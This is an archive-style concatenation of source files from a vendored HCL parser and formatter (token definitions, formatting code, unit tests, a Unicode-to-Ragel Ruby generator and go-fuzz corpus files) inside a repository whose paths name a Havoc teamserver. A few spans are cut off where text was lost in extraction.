TokenOParen TokenType = '(' TokenCParen TokenType = ')' TokenOQuote TokenType = '«' TokenCQuote TokenType = '»' TokenOHeredoc TokenType = 'H' TokenCHeredoc TokenType = 'h' TokenStar TokenType = '*' TokenSlash TokenType = '/' TokenPlus TokenType = '+' TokenMinus TokenType = '-' TokenPercent TokenType = '%' TokenEqual TokenType = '=' TokenEqualOp TokenType = '≔' TokenNotEqual TokenType = '≠' TokenLessThan TokenType = '<' TokenLessThanEq TokenType = '≤' TokenGreaterThan TokenType = '>' TokenGreaterThanEq TokenType = '≥' TokenAnd TokenType = '∧' TokenOr TokenType = '∨' TokenBang TokenType = '!' TokenDot TokenType = '.' TokenComma TokenType = ',' TokenEllipsis TokenType = '…' TokenFatArrow TokenType = '⇒' TokenQuestion TokenType = '?' TokenColon TokenType = ':' TokenTemplateInterp TokenType = '∫' TokenTemplateControl TokenType = 'λ' TokenTemplateSeqEnd TokenType = '∎' TokenQuotedLit TokenType = 'Q' // might contain backslash escapes TokenStringLit TokenType = 'S' // cannot contain backslash escapes TokenNumberLit TokenType = 'N' TokenIdent TokenType = 'I' TokenComment TokenType = 'C' TokenNewline TokenType = '\n' TokenEOF TokenType = '␄' // The rest are not used in the language but recognized by the scanner so // we can generate good diagnostics in the parser when users try to write // things that might work in other languages they are familiar with, or // simply make incorrect assumptions about the HCL language. TokenBitwiseAnd TokenType = '&' TokenBitwiseOr TokenType = '|' TokenBitwiseNot TokenType = '~' TokenBitwiseXor TokenType = '^' TokenStarStar TokenType = '➚' TokenApostrophe TokenType = '\'' TokenBacktick TokenType = '`' TokenSemicolon TokenType = ';' TokenTabs TokenType = '␉' TokenInvalid TokenType = '�' TokenBadUTF8 TokenType = '💩' TokenQuotedNewline TokenType = '␤' // TokenNil is a placeholder for when a token is required but none is // available, e.g. when reporting errors. The scanner will never produce // this as part of a token stream. TokenNil TokenType = '\x00' ) func (t TokenType) GoString() string { return fmt.Sprintf("hclsyntax.%s", t.String()) } type scanMode int const ( scanNormal scanMode = iota scanTemplate scanIdentOnly ) type tokenAccum struct { Filename string Bytes []byte Pos hcl.Pos Tokens []Token StartByte int } func (f *tokenAccum) emitToken(ty TokenType, startOfs, endOfs int) { // Walk through our buffer to figure out how much we need to adjust // the start pos to get our end pos. start := f.Pos start.Column += startOfs + f.StartByte - f.Pos.Byte // Safe because only ASCII spaces can be in the offset start.Byte = startOfs + f.StartByte end := start end.Byte = endOfs + f.StartByte b := f.Bytes[startOfs:endOfs] for len(b) > 0 { advance, seq, _ := textseg.ScanGraphemeClusters(b, true) if (len(seq) == 1 && seq[0] == '\n') || (len(seq) == 2 && seq[0] == '\r' && seq[1] == '\n') { end.Line++ end.Column = 1 } else { end.Column++ } b = b[advance:] } f.Pos = end f.Tokens = append(f.Tokens, Token{ Type: ty, Bytes: f.Bytes[startOfs:endOfs], Range: hcl.Range{ Filename: f.Filename, Start: start, End: end, }, }) } type heredocInProgress struct { Marker []byte StartOfLine bool } func tokenOpensFlushHeredoc(tok Token) bool { if tok.Type != TokenOHeredoc { return false } return bytes.HasPrefix(tok.Bytes, []byte{'<', '<', '-'}) } // checkInvalidTokens does a simple pass across the given tokens and generates // diagnostics for tokens that should _never_ appear in HCL source. This // is intended to avoid the need for the parser to have special support // for them all over. // // Returns a diagnostics with no errors if everything seems acceptable. // Otherwise, returns zero or more error diagnostics, though tries to limit // repetition of the same information. func checkInvalidTokens(tokens Tokens) hcl.Diagnostics { var diags hcl.Diagnostics toldBitwise := 0 toldExponent := 0 toldBacktick := 0 toldApostrophe := 0 toldSemicolon := 0 toldTabs := 0 toldBadUTF8 := 0 for _, tok := range tokens { // copy token so it's safe to point to it tok := tok switch tok.Type { case TokenBitwiseAnd, TokenBitwiseOr, TokenBitwiseXor, TokenBitwiseNot: if toldBitwise < 4 { var suggestion string switch tok.Type { case TokenBitwiseAnd: suggestion = " Did you mean boolean AND (\"&&\")?" case TokenBitwiseOr: suggestion = " Did you mean boolean OR (\"||\")?" case TokenBitwiseNot: suggestion = " Did you mean boolean NOT (\"!\")?" } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsupported operator", Detail: fmt.Sprintf("Bitwise operators are not supported.%s", suggestion), Subject: &tok.Range, }) toldBitwise++ } case TokenStarStar: if toldExponent < 1 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsupported operator", Detail: "\"**\" is not a supported operator. Exponentiation is not supported as an operator.", Subject: &tok.Range, }) toldExponent++ } case TokenBacktick: // Only report for alternating (even) backticks, so we won't report both start and ends of the same // backtick-quoted string. if (toldBacktick % 2) == 0 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid character", Detail: "The \"`\" character is not valid. To create a multi-line string, use the \"heredoc\" syntax, like \"< # # This script uses the unicode spec to generate a Ragel state machine # that recognizes unicode alphanumeric characters. It generates 5 # character classes: uupper, ulower, ualpha, udigit, and ualnum. # Currently supported encodings are UTF-8 [default] and UCS-4. # # Usage: unicode2ragel.rb [options] # -e, --encoding [ucs4 | utf8] Data encoding # -h, --help Show this message # # This script was originally written as part of the Ferret search # engine library. # # Author: Rakan El-Khalil require 'optparse' require 'open-uri' ENCODINGS = [ :utf8, :ucs4 ] ALPHTYPES = { :utf8 => "byte", :ucs4 => "rune" } DEFAULT_CHART_URL = "http://www.unicode.org/Public/5.1.0/ucd/DerivedCoreProperties.txt" DEFAULT_MACHINE_NAME= "WChar" ### # Display vars & default option TOTAL_WIDTH = 80 RANGE_WIDTH = 23 @encoding = :utf8 @chart_url = DEFAULT_CHART_URL machine_name = DEFAULT_MACHINE_NAME properties = [] @output = $stdout ### # Option parsing cli_opts = OptionParser.new do |opts| opts.on("-e", "--encoding [ucs4 | utf8]", "Data encoding") do |o| @encoding = o.downcase.to_sym end opts.on("-h", "--help", "Show this message") do puts opts exit end opts.on("-u", "--url URL", "URL to process") do |o| @chart_url = o end opts.on("-m", "--machine MACHINE_NAME", "Machine name") do |o| machine_name = o end opts.on("-p", "--properties x,y,z", Array, "Properties to add to machine") do |o| properties = o end opts.on("-o", "--output FILE", "output file") do |o| @output = File.new(o, "w+") end end cli_opts.parse(ARGV) unless ENCODINGS.member? @encoding puts "Invalid encoding: #{@encoding}" puts cli_opts exit end ## # Downloads the document at url and yields every alpha line's hex # range and description. def each_alpha( url, property ) open( url ) do |file| file.each_line do |line| next if line =~ /^#/; next if line !~ /; #{property} #/; range, description = line.split(/;/) range.strip! description.gsub!(/.*#/, '').strip! if range =~ /\.\./ start, stop = range.split '..' else start = stop = range end yield start.hex .. stop.hex, description end end end ### # Formats to hex at minimum width def to_hex( n ) r = "%0X" % n r = "0#{r}" unless (r.length % 2).zero? r end ### # UCS4 is just a straight hex conversion of the unicode codepoint. def to_ucs4( range ) rangestr = "0x" + to_hex(range.begin) rangestr << "..0x" + to_hex(range.end) if range.begin != range.end [ rangestr ] end ## # 0x00 - 0x7f -> 0zzzzzzz[7] # 0x80 - 0x7ff -> 110yyyyy[5] 10zzzzzz[6] # 0x800 - 0xffff -> 1110xxxx[4] 10yyyyyy[6] 10zzzzzz[6] # 0x010000 - 0x10ffff -> 11110www[3] 10xxxxxx[6] 10yyyyyy[6] 10zzzzzz[6] UTF8_BOUNDARIES = [0x7f, 0x7ff, 0xffff, 0x10ffff] def to_utf8_enc( n ) r = 0 if n <= 0x7f r = n elsif n <= 0x7ff y = 0xc0 | (n >> 6) z = 0x80 | (n & 0x3f) r = y << 8 | z elsif n <= 0xffff x = 0xe0 | (n >> 12) y = 0x80 | (n >> 6) & 0x3f z = 0x80 | n & 0x3f r = x << 16 | y << 8 | z elsif n <= 0x10ffff w = 0xf0 | (n >> 18) x = 0x80 | (n >> 12) & 0x3f y = 0x80 | (n >> 6) & 0x3f z = 0x80 | n & 0x3f r = w << 24 | x << 16 | y << 8 | z end to_hex(r) end def from_utf8_enc( n ) n = n.hex r = 0 if n <= 0x7f r = n elsif n <= 0xdfff y = (n >> 8) & 0x1f z = n & 0x3f r = y << 6 | z elsif n <= 0xefffff x = (n >> 16) & 0x0f y = (n >> 8) & 0x3f z = n & 0x3f r = x << 10 | y << 6 | z elsif n <= 0xf7ffffff w = (n >> 24) & 0x07 x = (n >> 16) & 0x3f y = (n >> 8) & 0x3f z = n & 0x3f r = w << 18 | x << 12 | y << 6 | z end r end ### # Given a range, splits it up into ranges that can be continuously # encoded into utf8. Eg: 0x00 .. 0xff => [0x00..0x7f, 0x80..0xff] # This is not strictly needed since the current [5.1] unicode standard # doesn't have ranges that straddle utf8 boundaries. This is included # for completeness as there is no telling if that will ever change. def utf8_ranges( range ) ranges = [] UTF8_BOUNDARIES.each do |max| if range.begin <= max if range.end <= max ranges << range return ranges end ranges << (range.begin .. max) range = (max + 1) .. range.end end end ranges end def build_range( start, stop ) size = start.size/2 left = size - 1 return [""] if size < 1 a = start[0..1] b = stop[0..1] ### # Shared prefix if a == b return build_range(start[2..-1], stop[2..-1]).map do |elt| "0x#{a} " + elt end end ### # Unshared prefix, end of run return ["0x#{a}..0x#{b} "] if left.zero? ### # Unshared prefix, not end of run # Range can be 0x123456..0x56789A # Which is equivalent to: # 0x123456 .. 0x12FFFF # 0x130000 .. 0x55FFFF # 0x560000 .. 0x56789A ret = [] ret << build_range(start, a + "FF" * left) ### # Only generate middle range if need be. if a.hex+1 != b.hex max = to_hex(b.hex - 1) max = "FF" if b == "FF" ret << "0x#{to_hex(a.hex+1)}..0x#{max} " + "0x00..0xFF " * left end ### # Don't generate last range if it is covered by first range ret << build_range(b + "00" * left, stop) unless b == "FF" ret.flatten! end def to_utf8( range ) utf8_ranges( range ).map do |r| begin_enc = to_utf8_enc(r.begin) end_enc = to_utf8_enc(r.end) build_range begin_enc, end_enc end.flatten! end ## # Perform a 3-way comparison of the number of codepoints advertised by # the unicode spec for the given range, the originally parsed range, # and the resulting utf8 encoded range. def count_codepoints( code ) code.split(' ').inject(1) do |acc, elt| if elt =~ /0x(.+)\.\.0x(.+)/ if @encoding == :utf8 acc * (from_utf8_enc($2) - from_utf8_enc($1) + 1) else acc * ($2.hex - $1.hex + 1) end else acc end end end def is_valid?( range, desc, codes ) spec_count = 1 spec_count = $1.to_i if desc =~ /\[(\d+)\]/ range_count = range.end - range.begin + 1 sum = codes.inject(0) { |acc, elt| acc + count_codepoints(elt) } sum == spec_count and sum == range_count end ## # Generate the state matching to stdout def generate_machine( name, property ) pipe = " " @output.puts " #{name} = " each_alpha( @chart_url, property ) do |range, desc| codes = (@encoding == :ucs4) ? to_ucs4(range) : to_utf8(range) #raise "Invalid encoding of range #{range}: #{codes.inspect}" unless # is_valid? range, desc, codes range_width = codes.map { |a| a.size }.max range_width = RANGE_WIDTH if range_width < RANGE_WIDTH desc_width = TOTAL_WIDTH - RANGE_WIDTH - 11 desc_width -= (range_width - RANGE_WIDTH) if range_width > RANGE_WIDTH if desc.size > desc_width desc = desc[0..desc_width - 4] + "..." end codes.each_with_index do |r, idx| desc = "" unless idx.zero? code = "%-#{range_width}s" % r @output.puts " #{pipe} #{code} ##{desc}" pipe = "|" end end @output.puts " ;" @output.puts "" end @output.puts < 0: line.lead[0].SpacesBefore = 2 * len(indents) indents = append(indents, netBrackets) case netBrackets < 0: closed := -netBrackets for closed > 0 && len(indents) > 0 { switch { case closed > indents[len(indents)-1]: closed -= indents[len(indents)-1] indents = indents[:len(indents)-1] case closed < indents[len(indents)-1]: indents[len(indents)-1] -= closed closed = 0 default: indents = indents[:len(indents)-1] closed = 0 } } line.lead[0].SpacesBefore = 2 * len(indents) default: line.lead[0].SpacesBefore = 2 * len(indents) } } } func formatSpaces(lines []formatLine) { for _, line := range lines { for i, token := range line.lead { var before, after *Token if i > 0 { before = line.lead[i-1] } else { before = nilToken } if i < (len(line.lead) - 1) { after = line.lead[i+1] } else { after = nilToken } if spaceAfterToken(token, before, after) { after.SpacesBefore = 1 } else { after.SpacesBefore = 0 } } for i, token := range line.assign { if i == 0 { // first token in "assign" always has one space before to // separate the equals sign from what it's assigning. token.SpacesBefore = 1 } var before, after *Token if i > 0 { before = line.assign[i-1] } else { before = nilToken } if i < (len(line.assign) - 1) { after = line.assign[i+1] } else { after = nilToken } if spaceAfterToken(token, before, after) { after.SpacesBefore = 1 } else { after.SpacesBefore = 0 } } } } func formatCells(lines []formatLine) { chainStart := -1 maxColumns := 0 // We'll deal with the "assign" cell first, since moving that will // also impact the "comment" cell. closeAssignChain := func(i int) { for _, chainLine := range lines[chainStart:i] { columns := chainLine.lead.Columns() spaces := (maxColumns - columns) + 1 chainLine.assign[0].SpacesBefore = spaces } chainStart = -1 maxColumns = 0 } for i, line := range lines { if line.assign == nil { if chainStart != -1 { closeAssignChain(i) } } else { if chainStart == -1 { chainStart = i } columns := line.lead.Columns() if columns > maxColumns { maxColumns = columns } } } if chainStart != -1 { closeAssignChain(len(lines)) } // Now we'll deal with the comments closeCommentChain := func(i int) { for _, chainLine := range lines[chainStart:i] { columns := chainLine.lead.Columns() + chainLine.assign.Columns() spaces := (maxColumns - columns) + 1 chainLine.comment[0].SpacesBefore = spaces } chainStart = -1 maxColumns = 0 } for i, line := range lines { if line.comment == nil { if chainStart != -1 { closeCommentChain(i) } } else { if chainStart == -1 { chainStart = i } columns := line.lead.Columns() + line.assign.Columns() if columns > maxColumns { maxColumns = columns } } } if chainStart != -1 { closeCommentChain(len(lines)) } } // spaceAfterToken decides whether a particular subject token should have a // space after it when surrounded by the given before and after tokens. // "before" can be TokenNil, if the subject token is at the start of a sequence. func spaceAfterToken(subject, before, after *Token) bool { switch { case after.Type == hclsyntax.TokenNewline || after.Type == hclsyntax.TokenNil: // Never add spaces before a newline return false case subject.Type == hclsyntax.TokenIdent && after.Type == hclsyntax.TokenOParen: // Don't split a function name from open paren in a call return false case subject.Type == hclsyntax.TokenDot || after.Type == hclsyntax.TokenDot: // Don't use spaces around attribute access dots return false case after.Type == hclsyntax.TokenComma || after.Type == hclsyntax.TokenEllipsis: // No space right before a comma or ... in an argument list return false case subject.Type == hclsyntax.TokenComma: // Always a space after a comma return true case subject.Type == hclsyntax.TokenQuotedLit || subject.Type == hclsyntax.TokenStringLit || subject.Type == hclsyntax.TokenOQuote || subject.Type == hclsyntax.TokenOHeredoc || after.Type == hclsyntax.TokenQuotedLit || after.Type == hclsyntax.TokenStringLit || after.Type == hclsyntax.TokenCQuote || after.Type == hclsyntax.TokenCHeredoc: // No extra spaces within templates return false case inKeyword.TokenMatches(subject.asHCLSyntax()) && before.Type == hclsyntax.TokenIdent: // This is a special case for inside for expressions where a user // might want to use a literal tuple constructor: // [for x in [foo]: x] // ... in that case, we would normally produce in[foo] thinking that // in is a reference, but we'll recognize it as a keyword here instead // to make the result less confusing. return true case after.Type == hclsyntax.TokenOBrack && (subject.Type == hclsyntax.TokenIdent || subject.Type == hclsyntax.TokenNumberLit || tokenBracketChange(subject) < 0): return false case subject.Type == hclsyntax.TokenBang: // No space after a bang return false case subject.Type == hclsyntax.TokenMinus: // Since a minus can either be subtraction or negation, and the latter // should _not_ have a space after it, we need to use some heuristics // to decide which case this is. // We guess that we have a negation if the token before doesn't look // like it could be the end of an expression. switch before.Type { case hclsyntax.TokenNil: // Minus at the start of input must be a negation return false case hclsyntax.TokenOParen, hclsyntax.TokenOBrace, hclsyntax.TokenOBrack, hclsyntax.TokenEqual, hclsyntax.TokenColon, hclsyntax.TokenComma, hclsyntax.TokenQuestion: // Minus immediately after an opening bracket or separator must be a negation. return false case hclsyntax.TokenPlus, hclsyntax.TokenStar, hclsyntax.TokenSlash, hclsyntax.TokenPercent, hclsyntax.TokenMinus: // Minus immediately after another arithmetic operator must be negation. return false case hclsyntax.TokenEqualOp, hclsyntax.TokenNotEqual, hclsyntax.TokenGreaterThan, hclsyntax.TokenGreaterThanEq, hclsyntax.TokenLessThan, hclsyntax.TokenLessThanEq: // Minus immediately after another comparison operator must be negation. return false case hclsyntax.TokenAnd, hclsyntax.TokenOr, hclsyntax.TokenBang: // Minus immediately after logical operator doesn't make sense but probably intended as negation. return false default: return true } case subject.Type == hclsyntax.TokenOBrace || after.Type == hclsyntax.TokenCBrace: // Unlike other bracket types, braces have spaces on both sides of them, // both in single-line nested blocks foo { bar = baz } and in object // constructor expressions foo = { bar = baz }. if subject.Type == hclsyntax.TokenOBrace && after.Type == hclsyntax.TokenCBrace { // An open brace followed by a close brace is an exception, however. // e.g. foo {} rather than foo { } return false } return true // In the unlikely event that an interpolation expression is just // a single object constructor, we'll put a space between the ${ and // the following { to make this more obvious, and then the same // thing for the two braces at the end. case (subject.Type == hclsyntax.TokenTemplateInterp || subject.Type == hclsyntax.TokenTemplateControl) && after.Type == hclsyntax.TokenOBrace: return true case subject.Type == hclsyntax.TokenCBrace && after.Type == hclsyntax.TokenTemplateSeqEnd: return true // Don't add spaces between interpolated items case subject.Type == hclsyntax.TokenTemplateSeqEnd && (after.Type == hclsyntax.TokenTemplateInterp || after.Type == hclsyntax.TokenTemplateControl): return false case tokenBracketChange(subject) > 0: // No spaces after open brackets return false case tokenBracketChange(after) < 0: // No spaces before close brackets return false default: // Most tokens are space-separated return true } } func linesForFormat(tokens Tokens) []formatLine { if len(tokens) == 0 { return make([]formatLine, 0) } // first we'll count our lines, so we can allocate the array for them in // a single block. (We want to minimize memory pressure in this codepath, // so it can be run somewhat-frequently by editor integrations.) lineCount := 1 // if there are zero newlines then there is one line for _, tok := range tokens { if tokenIsNewline(tok) { lineCount++ } } // To start, we'll just put everything in the "lead" cell on each line, // and then do another pass over the lines afterwards to adjust. lines := make([]formatLine, lineCount) li := 0 lineStart := 0 for i, tok := range tokens { if tok.Type == hclsyntax.TokenEOF { // The EOF token doesn't belong to any line, and terminates the // token sequence. lines[li].lead = tokens[lineStart:i] break } if tokenIsNewline(tok) { lines[li].lead = tokens[lineStart : i+1] lineStart = i + 1 li++ } } // If a set of tokens doesn't end in TokenEOF (e.g. because it's a // fragment of tokens from the middle of a file) then we might fall // out here with a line still pending. if lineStart < len(tokens) { lines[li].lead = tokens[lineStart:] if lines[li].lead[len(lines[li].lead)-1].Type == hclsyntax.TokenEOF { lines[li].lead = lines[li].lead[:len(lines[li].lead)-1] } } // Now we'll pick off any trailing comments and attribute assignments // to shuffle off into the "comment" and "assign" cells. for i := range lines { line := &lines[i] if len(line.lead) == 0 { // if the line is empty then there's nothing for us to do // (this should happen only for the final line, because all other // lines would have a newline token of some kind) continue } if len(line.lead) > 1 && line.lead[len(line.lead)-1].Type == hclsyntax.TokenComment { line.comment = line.lead[len(line.lead)-1:] line.lead = line.lead[:len(line.lead)-1] } for i, tok := range line.lead { if i > 0 && tok.Type == hclsyntax.TokenEqual { // We only move the tokens into "assign" if the RHS seems to // be a whole expression, which we determine by counting // brackets. If there's a net positive number of brackets // then that suggests we're introducing a multi-line expression. netBrackets := 0 for _, token := range line.lead[i:] { netBrackets += tokenBracketChange(token) } if netBrackets == 0 { line.assign = line.lead[i:] line.lead = line.lead[:i] } break } } } return lines } func tokenIsNewline(tok *Token) bool { if tok.Type == hclsyntax.TokenNewline { return true } else if tok.Type == hclsyntax.TokenComment { // Single line tokens (# and //) consume their terminating newline, // so we need to treat them as newline tokens as well. if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\n' { return true } } return false } func tokenBracketChange(tok *Token) int { switch tok.Type { case hclsyntax.TokenOBrace, hclsyntax.TokenOBrack, hclsyntax.TokenOParen, hclsyntax.TokenTemplateControl, hclsyntax.TokenTemplateInterp: return 1 case hclsyntax.TokenCBrace, hclsyntax.TokenCBrack, hclsyntax.TokenCParen, hclsyntax.TokenTemplateSeqEnd: return -1 default: return 0 } } // formatLine represents a single line of source code for formatting purposes, // splitting its tokens into up to three "cells": // // lead: always present, representing everything up to one of the others // assign: if line contains an attribute assignment, represents the tokens // starting at (and including) the equals symbol // comment: if line contains any non-comment tokens and ends with a // single-line comment token, represents the comment. // // When formatting, the leading spaces of the first tokens in each of these // cells is adjusted to align vertically their occurrences on consecutive // rows. type formatLine struct { lead Tokens assign Tokens comment Tokens } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/format_test.go000066400000000000000000000266571467014221700275340ustar00rootroot00000000000000package hclwrite import ( "fmt" "testing" "reflect" "github.com/davecgh/go-spew/spew" "Havoc/pkg/profile/yaotl/hclsyntax" ) func TestFormat(t *testing.T) { tests := []struct { input string want string }{ { ``, ``, }, { `a=1`, `a = 1`, }, { `a=b.c`, `a = b.c`, }, { `a=b[c]`, `a = b[c]`, }, { `a=b()[c]`, `a = b()[c]`, }, { `a=["hello"][0]`, `a = ["hello"][0]`, }, { `( a+2 )`, `(a + 2)`, }, { `( a*2 )`, `(a * 2)`, }, { `( a+-2 )`, `(a + -2)`, }, { `( a*-2 )`, `(a * -2)`, }, { `(-2+1)`, `(-2 + 1)`, }, { `foo(1, -2,a*b, b,c)`, `foo(1, -2, a * b, b, c)`, }, { `foo(a,b...)`, `foo(a, b...)`, }, { `! true`, `!true`, }, { `a="hello ${ name }"`, `a = "hello ${name}"`, }, { `a="hello ${~ name ~}"`, `a = "hello ${~name~}"`, }, { `a="${b}${c}${ d } ${e}"`, `a = "${b}${c}${d} ${e}"`, }, { `"%{if true}${var.foo}%{endif}"`, `"%{if true}${var.foo}%{endif}"`, }, { `b{}`, `b {}`, }, { ` "${ hello }" `, ` "${ hello }" `, }, { ` foo( 1, - 2, a*b, b, c, ) `, ` foo( 1, -2, a * b, b, c, ) `, }, { `a?b:c`, `a ? b : c`, }, { `[ [ ] ]`, `[[]]`, }, { `[for x in y : x]`, `[for x in y : x]`, }, { `[for x in [y] : x]`, `[for x in [y] : x]`, }, { ` [ [ a ] ] `, ` [ [ a ] ] `, }, { ` [[ a ]] `, ` [[ a ]] `, }, { ` [[ [ a ] ]] `, ` [[ [ a ] ]] `, }, { // degenerate case with asymmetrical brackets ` [[ [ a ]] ] `, ` [[ [ a ]] ] `, }, { ` b { a = 1 } `, ` b { a = 1 } `, }, { ` b {a = 1} `, ` b { a = 1 } `, }, { ` a = 1 bungle = 2 `, ` a = 1 bungle = 2 `, }, { ` a = 1 bungle = 2 `, ` a = 1 bungle = 2 `, }, { ` a = 1 # foo bungle = 2 `, ` a = 1 # foo bungle = 2 `, }, { ` a = 1 # foo bungle = "bonce" # baz `, ` a = 1 # foo bungle = "bonce" # baz `, }, { ` # here we go a = 1 # foo bungle = "bonce" # baz `, ` # here we go a = 1 # foo bungle = "bonce" # baz `, }, { ` foo {} # here we go a = 1 # foo bungle = "bonce" # baz `, ` foo {} # here we go a = 1 # foo bungle = "bonce" # baz `, }, { ` a = 1 # foo bungle = "bonce" # baz zebra = "striped" # baz `, ` a = 1 # foo bungle = "bonce" # baz zebra = "striped" # baz `, }, { ` a = 1 # foo bungle = ( "bonce" ) # baz zebra = "striped" # baz `, ` a = 1 # foo bungle = ( "bonce" ) # baz zebra = "striped" # baz `, }, { ` a="apple"# foo bungle=(# woo parens "bonce" )# baz zebra="striped"# baz `, ` a = "apple" # foo bungle = ( # woo parens "bonce" ) # baz zebra = "striped" # baz `, }, { ` 𝒜 = 1 # foo bungle = "🇬🇧" # baz zebra = "striped" # baz `, ` 𝒜 = 1 # foo bungle = "🇬🇧" # baz zebra = "striped" # baz `, }, { ` foo { # ... } `, ` foo { # ... } `, }, { ` foo = { # ... } `, ` foo = { # ... } `, }, { ` foo = [ # ... ] `, ` foo = [ # ... ] `, }, { ` foo = [{ # ... }] `, ` foo = [{ # ... }] `, }, { ` foo { bar { # ... } } `, ` foo { bar { # ... } } `, }, { ` foo { bar = { # ... } } `, ` foo { bar = { # ... } } `, }, { ` foo { bar = [ # ... ] } `, ` foo { bar = [ # ... ] } `, }, { ` foo { bar = < Note: `go-fuzz` does not interact well with `goenv`. If you encounter build errors where the package `go.fuzz.main` could not be found, you may need to use a machine with a direct installation of Go. ## Understanding the result A small number of subdirectories will be created in the work directory. If you let `go-fuzz` run for a few minutes (the more minutes the better) it may detect "crashers", which are inputs that caused the parser to panic. Details about these are written to `$FUZZ_WORK_DIR/crashers`: ``` $ ls /tmp/hcl2-fuzz-config/crashers 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.output 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.quoted ``` The base file above (with no extension) is the input that caused a crash. The `.output` file contains the panic stack trace, which you can use as a clue to figure out what caused the crash. A good first step to fixing a detected crasher is to copy the failing input into one of the unit tests in the `hclwrite` package and see it crash there too. After that, it's easy to re-run the test as you try to fix it. The file with the `.quoted` extension contains a form of the input that is quoted in Go syntax for easy copy-paste into a test case, even if the input contains non-printable characters or other inconvenient symbols. ## Rebuilding for new Upstream Code An archive file is created for `go-fuzz` to use on the first run of each of the above, as a `.zip` file created in this directory. If upstream code is changed these will need to be deleted to cause them to be rebuilt with the latest code: ``` $ make clean ``` havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/000077500000000000000000000000001467014221700271015ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/000077500000000000000000000000001467014221700304145ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/attr-expr.hcl000066400000000000000000000000321467014221700330250ustar00rootroot00000000000000foo = upper(bar + baz[1]) attr-literal.hcl000066400000000000000000000000141467014221700334240ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusfoo = "bar" havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/attr.hcl000066400000000000000000000000141467014221700320510ustar00rootroot00000000000000a = foo.bar block-attrs.hcl000066400000000000000000000000271467014221700332510ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusblock { foo = true } block-comment.hcl000066400000000000000000000000371467014221700335570ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/* multi line comment */ block-empty.hcl000066400000000000000000000000121467014221700332440ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusblock { } block-nested.hcl000066400000000000000000000000561467014221700334000ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusblock { another_block { foo = bar } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/complex.hcl000066400000000000000000000000401467014221700325450ustar00rootroot00000000000000a = foo.bar[1].baz["foo"].pizza havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/empty.hcl000066400000000000000000000000001467014221700322300ustar00rootroot00000000000000escape-dollar.hcl000066400000000000000000000000251467014221700335350ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = "hi $${var.foo}" escape-newline.hcl000066400000000000000000000000171467014221700337220ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = "bar\nbaz" function-call-tmpl.hcl000066400000000000000000000000321467014221700345300ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = "b ${title(var.name)} function-call.hcl000066400000000000000000000000241467014221700335570ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = title(var.name) hash-comment.hcl000066400000000000000000000000221467014221700334020ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus# another comment havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/index.hcl000066400000000000000000000000131467014221700322050ustar00rootroot00000000000000a = foo[1] havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/int-tmpl.hcl000066400000000000000000000000201467014221700326400ustar00rootroot00000000000000a = "foo ${42}" havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/int.hcl000066400000000000000000000000071467014221700316730ustar00rootroot00000000000000a = 42 just-interp.hcl000066400000000000000000000000211467014221700333020ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = "${var.bar}" havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/literal.hcl000066400000000000000000000000101467014221700325270ustar00rootroot00000000000000a = foo lots-of-comments.hcl000066400000000000000000000002411467014221700342300ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus// comment block { // another comment another_block { # comment // comment foo = bar } /* commented out block blah { bar = foo } */ } slash-comment.hcl000066400000000000000000000000131467014221700335710ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus// comment splat-attr.hcl000066400000000000000000000000221467014221700331120ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = foo.bar.*.baz 